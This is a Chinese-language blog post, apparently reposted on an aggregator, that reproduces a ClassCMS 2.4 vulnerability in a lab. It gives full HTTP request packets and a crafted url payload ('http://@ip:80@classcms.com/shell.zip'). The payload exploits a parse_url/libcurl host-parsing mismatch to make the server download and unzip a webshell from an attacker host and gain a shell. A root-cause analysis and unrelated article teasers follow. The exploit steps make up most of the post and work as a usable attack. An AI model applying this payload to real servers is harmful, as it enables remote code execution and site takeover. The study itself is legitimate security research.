ClassCMS2.4漏洞复现

  • ClassCMS2.4漏洞复现

    • 环境搭建

    • 任意文件下载漏洞复现

    • 漏洞成因

ClassCMS2.4漏洞复现

CMS源码在附件中

环境搭建

使用phpstudy2016搭建web环境,php版本为5.5
安装CMS
这里选择Mysql数据库进行安装

图片

用户名和密码都写默认的admin方便记忆
输入完成后点击安装

图片

点击安装

图片

CMS的安装过程中有个报错忽略就好,登录不进后台的话刷新一下页面

进入了ClassCMS的后台

图片

任意文件下载漏洞复现

在后台访问应用商店

图片

任意点击一个下载

图片


进入下载页面后点击 下载 进行抓包

图片

我们先放掉第一个包

图片

POST /admin?do=shop:index&ajax=1&action=fileurl&from=install HTTP/1.1Host: 192.168.12.144Content-Length: 47Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://192.168.12.144Referer: http://192.168.12.144/admin?do=shop:index&bread=%E8%B0%83%E8%AF%95%E5%BC%80%E5%85%B3&action=detail&classhash=debugswitchAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: token_9a9fe8=e0c7aacedb82db0c1522667cbf0bc806; csrf_9a9fe8=b472e230Connection: closeclasshash=debugswitch&version=1.0&csrf=b472e230

然后修改第二个请求包

图片

//第二个数据包POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1Host: classcmsContent-Length: 85Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://192.168.159.1Referer: http://192.168.159.1/ClassCMS/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreateAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: token_2ab421=5d012ca838cc5f0aff02c44c8e2c91e7; csrf_2ab421=338ceb00Connection: closeclasshash={dir}&url=http://@{ip}:{port}@classcms.com/{shell.zip}&csrf=b472e230

数据包参数解析

classhash为解压出来的最后文件名url为了绕过过滤设成如下形式http://@ip:80@classcms.com/shell.zip远程ip端口(默认80也需要加上),一个包含木马文件(shell.php)的zip压缩包csrf参数不动即可发送之后返回:下载完成就说明已经成功被下载到目标服务器上并解压最后访问url即可执行上传上的木马getshellhttp://ip/class/{classhash的值}/{上传压缩包中的木马文件}

我们安装上面的格式修改数据包上传一个木马文件

先在网站根目录创建一个木马文件,然后把他压缩成压缩包

图片

图片

然后再重新构建第二个数据包

//第二个数据包POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1Host: classcmsContent-Length: 85Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://192.168.159.1Referer: http://192.168.159.1/ClassCMS/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreateAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: token_2ab421=5d012ca838cc5f0aff02c44c8e2c91e7; csrf_2ab421=b472e230Connection: closeclasshash=shell&url=http://@192.168.12.144:80@classcms.com/shell.zip&csrf=338ceb00

上传之前创建的shell.zip
classhash=shell&url=http://@192.168.12.144:80@classcms.com/shell.zip&csrf=b472e230
直接修改数据包后放包也可以
 

图片


把修改后的数据包提交
 

图片


提交成功

图片

访问http://192.168.12.144/class/shell/shell.php
 

图片


可以看到木马上传成功了,在本地也可以看到下载的shell.zip文件

图片

漏洞成因

经白盒测试发现在/class/shop/shop.php中
通过全局搜索,“下载完成”定位到此处

图片

图片


一处为在downloadClass函数中一处在upgradeClass函数中,观察功能显然是在downloadClass
 

图片


this(当前文件shop.php)->download函数下,定位到关键函数download
 

图片

图片


函数首先获取了默认允许的host,在this(前文件下)->defaultHost函数中
定位函数defaultHost

图片


只允许 classcms.com;classcms.uuu.la
然后将我们传入的url (这里是http://http://192.168.12.144/shell.zip) 通过parse_url函数解析后在判断是否是在数组中
我们的攻击url也就是down在了这里,那么目标就是绕过这个判断然后执行接下来的curl命令​​​​​​​

if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {Return false;}

前一个条件存在是肯定满足的,那么只需要让经过parse_url解析过的host键值和数组相等即可

这里利用php中的parse_url函数和lib_curl对url的解析差异,导致了对host的过滤失效来进行绕过

php-curl拓展解析的url host在第首个@之后
而parse_url则是最后一个@之后
所以构造处payload

http://@http://192.168.12.144:80@classcms.com/shell.zip

看到这里了,点个“赞”、“再看”吧​​​​​​​

免费领取安全学习资料包!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/234469.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Redis学习文档

目录 一、概念1、特征2、关系型数据库和非关系型数据库的区别3、键的结构4、Redis的Java客户端5、缓存更新策略5.1、概念5.2、代码 6、缓存穿透6.1、含义6.2、解决办法6.3、缓存空值代码举例6.4、布隆过滤器代码举例 7、缓存击穿7.1、概念7.2、解决办法7.3、互斥锁代码举例7.4、…

P28 C++ 对象的生存周期(栈的作用域生存周期)

前言 本期的主题是栈作用域中对象的生存期,通俗来讲,就是讨论对象是如何在栈上生存的。 这章内容整体分为两部分。 第一部分是,你必须理解栈上的东西是如何存在的,这样你才能真正写出能正常工作的代码。第二部分是,一…

防火墙补充NAT

目录 1.iptables保存规则 2.自定义链 3.NAT NAT的实现分为下面类型&#xff1a; SNAT实验操作 DNAT实验操作 1.iptables保存规则 永久保存方法一&#xff1a; iptables -save > /data/iptables_rule //输出重定向备份 iptables -restore < /data/iptables_r…

修复尺寸显示操作说明

有时我们在绘制草图/工程图中标注尺寸时会显示<MOD-DIAM>符号&#xff0c;如下图所示&#xff1a; 此符号通常在SolidWorks软件更新后会显示出来&#xff0c;Windows更新后可能也会出现此符号。 解决方法&#xff1a; 1. 打开软件-系统选项-文件位置-符号图库文件 2. 选…

MybtisPlus快速开发(从controller到mapper)

创建新项目 写好配置文件 server:port: 8905#配置MP控制台打印日志 mybatis-plus:configuration:log-impl: org.apache.ibatis.logging.stdout.StdOutImplspring:datasource:type: com.zaxxer.hikari.HikariDataSourcedriver-class-name: com.mysql.cj.jdbc.Driverurl: jdbc:m…

行情分析——加密货币市场大盘走势(11.30)

大饼已经形成了底背离&#xff0c;即MACD往下走&#xff0c;而价格还在往上走&#xff0c;这种往往后续会大跌。我们继续把空单拿好&#xff0c;已经持仓的无需加仓。多次上涨都一直不能突破&#xff0c;也说明多空和空军力量都很强&#xff0c;等待后续出方向&#xff0c;而笔…

四大排序方法(java版)

四大排序方法 &#x1f4d1;前言 本文主要是【算法】——常用的排序方法的文章&#xff0c;如果有什么需要改进的地方还请大佬指出⛺️ &#x1f3ac;作者简介&#xff1a;大家好&#xff0c;我是听风与他&#x1f947; ☁️博客首页&#xff1a;CSDN主页听风与他 &#x1f3…

Vue快速实践总结 · 下篇

文章目录 组件间通信方式父 --> 子通信props插槽 子 --> 父通信&#xff08;自定义事件&#xff09;任意组件通信全局事件总线消息订阅与发布 Vuex工作原理运行环境简单使用GettersmapState与mapGettersmapActions与mapMutations模块化 命名空间 VueRouter路由的作用与分…

编写算法,对n个关键字取整数值的记录序列进行整理。以使所有关键字为负值的记录排在关键字为非负值的记录之前

编写算法&#xff0c;对n个关键字取整数值的记录序列进行整理。以使所有关键字为负值的记录排在关键字为非负值的记录之前&#xff0c;要求&#xff1a; &#xff08;1&#xff09;采用顺序存储结构&#xff0c;至少使用一个记录的辅助存储空间 &#xff08;2&#xff09;算法的…

自动驾驶DCLC 功能规范

目录 1 概述Summary....................................................................................................... 4 1.1 目的Purpose....................................................................................................... 4 1.2 范围Ran…

mysql迁移到sqlserver数据库,真的超级简单

这是微软官方步骤 需要注意的地方在连接mysql时&#xff0c;如果没有驱动&#xff0c; 那记得更换SSMAforMySQL X86的版本 工具下载地址&#xff08;点击download后会弹出选项的&#xff09;&#xff1a;Download Microsoft SQL Server Migration Assistant for MySQL from Of…

数字孪生3D场景开发工具:弥补不足,开拓全新可能

随着数字化时代的来临&#xff0c;越来越多的企业和行业开始探索数字孪生技术的应用。数字孪生是指通过数字技术将现实世界中的物体、场景等复制到虚拟世界中&#xff0c;以实现实时监测、预测和优化。然而&#xff0c;在数字孪生的发展过程中&#xff0c;一些不足也逐渐浮现。…